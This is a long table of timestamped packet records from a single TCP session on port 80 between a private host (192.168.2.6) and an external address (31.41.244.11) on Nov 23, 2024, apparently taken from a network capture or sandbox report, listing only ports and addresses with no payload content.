Nov 23, 2024 13:28:13.505211115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.506006002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.506110907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.506135941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.506197929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.507002115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.507080078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.507208109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.507992029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.508050919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.508089066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.508192062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.509001017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.509078979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.509111881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.509172916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.509921074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.509982109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.510020018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.510124922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.510992050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.511075974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.511090994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.511147976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.511972904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.512057066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.512207031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.512862921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.512964964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.512981892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.513163090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.513849974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.513947010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.513978004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.514043093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.514839888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.514894009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.514936924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.515054941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.515855074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.515918970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.515943050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.516067982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.516817093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.516937971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.517136097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.517796040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.517900944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.517966986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.518115997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.518771887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.518887997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.518908024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.518951893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.519824982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.519891024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.519901991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.519982100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.520746946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.520848989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.520864010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.520917892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.521727085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.521797895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.521886110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.521971941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.522730112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.522794962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.522829056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.522917986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.523716927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.523811102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.523811102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.523941040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.524682999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.524729013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.524780989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.524847984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.525676966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.525768995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.525799990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.525933027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.526663065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.526763916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.526770115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.526890039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.527654886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.527734041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.527761936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.527827978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.528623104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.528682947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.528784037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.528871059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.529644966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.529752016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.529774904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.529798031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.530579090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.530724049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.530761003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.530890942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.531572104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.531655073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.531718016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.531770945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.532563925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.532654047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.532675028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.532722950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.533549070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.533638000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.533658981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.533778906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.534532070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.534603119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.534617901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.534712076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.535573006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.535644054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.535670996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.535725117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.536503077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.536600113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.536628962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.536689997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.537484884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.537554979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.537600994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.537724972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.538461924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.538527012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.538563013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.538789988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.539449930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.539501905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.539532900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.539602995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.689799070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.689851999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.689892054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.689955950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.690252066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.690417051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.690433025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.690490007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.690582991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.690651894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.691407919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.691531897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.691546917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.691598892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.692449093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.692523956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.692662954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.693478107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.693574905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.693650007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.693703890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.694395065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.694576979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.694657087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.695353031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.695429087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.695455074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.695693970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.696357012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.696490049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.696537018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.696537018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.697324991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.697424889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.697465897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.697556973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.698297977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.698407888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.698509932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.699323893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.699398994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.699445963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.699523926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.700258017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.700371981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.700402975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.700459957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.701255083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.701338053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.701366901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.701394081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.702245951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.702364922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.703242064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.703320026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.703355074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.704199076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.704260111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.704307079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.705219030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.705302954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.705311060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.705903053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.706198931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.706285954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.706363916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.707133055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.707283020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.707359076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.708137035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.708240032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.708302021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.709184885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.709199905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.709314108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.710095882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.710180998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.711097002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.711178064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.711204052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.712228060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.712295055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.712296963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.713028908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.713115931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.713148117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.713825941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.714016914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.714119911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.714195967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.714982986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.715106964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.715182066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.715991020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.716123104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.716187954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.717005014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.717176914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.717288017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.717972040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.718106031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.718945980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.719069958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.719094038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.719871044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.719933033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.720035076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.720065117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.720098019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.720899105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.721034050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.721045971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.721128941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.721873999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.722007990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.723082066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.723197937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.723201036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.723778963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.723871946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.723954916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.723954916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.724051952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.724868059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.724899054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.724952936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.724952936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.725841999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.725951910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.726012945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.726085901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.726927042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.726991892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.727040052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.727154016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.727988958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.728059053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.728080034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.728141069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.728912115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.728970051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.729032993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.729082108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.729840994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.729877949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.729907990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.729983091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.730969906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.731045961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.731153965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.731256962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.732063055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.732129097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.732160091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.732237101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.732702017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.732783079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.732858896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.732947111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.733695030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.733798027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.733798981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.733854055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.734663963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.734762907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.734783888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.734833002 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.735677004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.735742092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.735781908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.735846996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.736640930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.736722946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.736748934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.736819029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.737638950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.737735033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.737756014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.737829924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.738621950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.738713980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.738732100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.738816023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.739597082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.739685059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.739710093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.739787102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.740598917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.740654945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.740686893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.740797043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.891534090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.891551971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.891676903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.892002106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.892080069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.892159939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.892225027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.892919064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.892987967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.893024921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.893115997 CET	49729	80	192.168.2.6	31.41.244.11
